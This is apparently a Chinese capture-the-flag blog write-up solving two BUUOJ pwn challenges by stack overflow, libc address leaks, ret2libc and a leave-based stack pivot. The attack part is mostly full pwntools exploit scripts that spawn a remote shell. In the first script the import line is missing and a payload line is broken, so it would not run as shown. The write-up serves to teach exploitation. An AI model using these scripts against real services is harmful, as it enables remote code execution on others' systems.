zoukankan      html  css  js  c++  java
  • 从前偷懒的日子-2021.4.15

    (1)铁人三项(第五赛区)_2018_rop1


    程序如上,很明显的栈溢出漏洞,然后查看函数表:

    因此推断需要泄露libc的地址。
    利用思路如下:
    (1)利用栈溢出漏洞执行write函数泄露__libc_start_main地址并且返回主函数。
    (2)推断出system的函数地址和’/bin/sh‘的地址。
    (3)然后再次利用栈溢出获得sh
    利用代码如下:

    from LibcSearcher import *
    context.log_level='debug'
    r=process('./2018_rop')
    r=remote('node3.buuoj.cn',27934)
    elf=ELF('./2018_rop')
    write_plt=elf.plt['write']
    maingot=elf.got['__libc_start_main']
    main=elf.sym['main']
    payload='a'*(0x88+4)
    +p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
    r.sendline(payload)
    main_addr=u32(r.recv(4))
    print(hex(main_addr))
    libc=LibcSearcher('__libc_start_main',main_addr)
    print(libc)
    offer=main_addr-libc.dump('__libc_start_main')
    print(hex(offer))
    systemadd=offer+libc.dump('system')
    print(hex(systemadd))
    binadd=offer+libc.dump('str_bin_sh')
    print(hex(binadd))
    payload='a'*140+p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
    r.sendline(payload)
    r.interactive()
    

    (2)[Black Watch 入群题]PWN1(知识点:leave,泄露libc)

    程序代码如下:

    可以看到是一个明显的溢出漏洞,但是要注意到该漏洞溢出的数目非常小,只能刚好覆盖返回地址,所以要用到leave这个技术,而上面的s的存储地址是在bss代码段,于是提供了环境。函数表如图:

    可以看到还需要libc。
    综上所述,利用思路如下:
    (1)将leave后的泄露libc的代码写入s中,然后leave,并且返回主函数重复执行。
    (2)再进行一次leave执行system(“/bin/sh”)
    利用代码如下:

    from pwn import *
    from LibcSearcher import *
    context.log_level='debug'
    r=process('./桌面/spwn')
    # r=remote('node3.buuoj.cn',28183)
    elf=ELF('./桌面/spwn')
    put_plt=elf.plt['puts']
    # print(hex(put_plt))
    write_plt=elf.plt['write']
    # putgot=elf.got['puts']
    maingot=elf.got['__libc_start_main']
    main=elf.sym['main']
    leveadd=0x08048511
    sadd=0x0804a300
    r.recvuntil('What is your name?')
    # payload1=p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
    payload1=p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
    r.send(payload1)
    r.recvuntil('What do you want to say?')
    payload2='a'*24+p32(sadd-4).decode('iso-8859-1')+p32(leveadd).decode('iso-8859-1')#+p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
    print(payload2)
    gdb.attach(r)
    r.send(payload2)
    main_addr=u32(r.recv(4))
    print(hex(main_addr))
    libc=LibcSearcher('__libc_start_main',main_addr)
    # print(libc)
    offer=main_addr-libc.dump('__libc_start_main')
    # # print(hex(offer))
    systemadd=offer+libc.dump('system')
    print(hex(systemadd))
    binadd=offer+libc.dump('str_bin_sh')
    print(hex(binadd))
    r.recvuntil('ame?')
    payload1=p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
    r.sendline(payload1)
    r.recvuntil('want to say?')
    r.send(payload2)
    r.interactive()
    
  • 相关阅读:
    bzoj1093【ZJOI2007】最大半联通子图
    bzoj3609【HEOI2014】人人尽说江南好
    Codeforces Round #381 Div.2
    bzoj3405:[Usaco2009 Open]Grazing2 移动牛棚
    bzoj3389:[Usaco2004 Dec]Cleaning Shifts安排值班
    bzoj3315:[Usaco2013 Nov]Pogo-Cow
    bzoj1018:[SHOI2008]堵塞的交通traffic
    bzoj4637:期望
    二次剩余
    Very Long Suffix Array
  • 原文地址:https://www.cnblogs.com/ring3toring0/p/14663212.html
Copyright © 2011-2022 走看看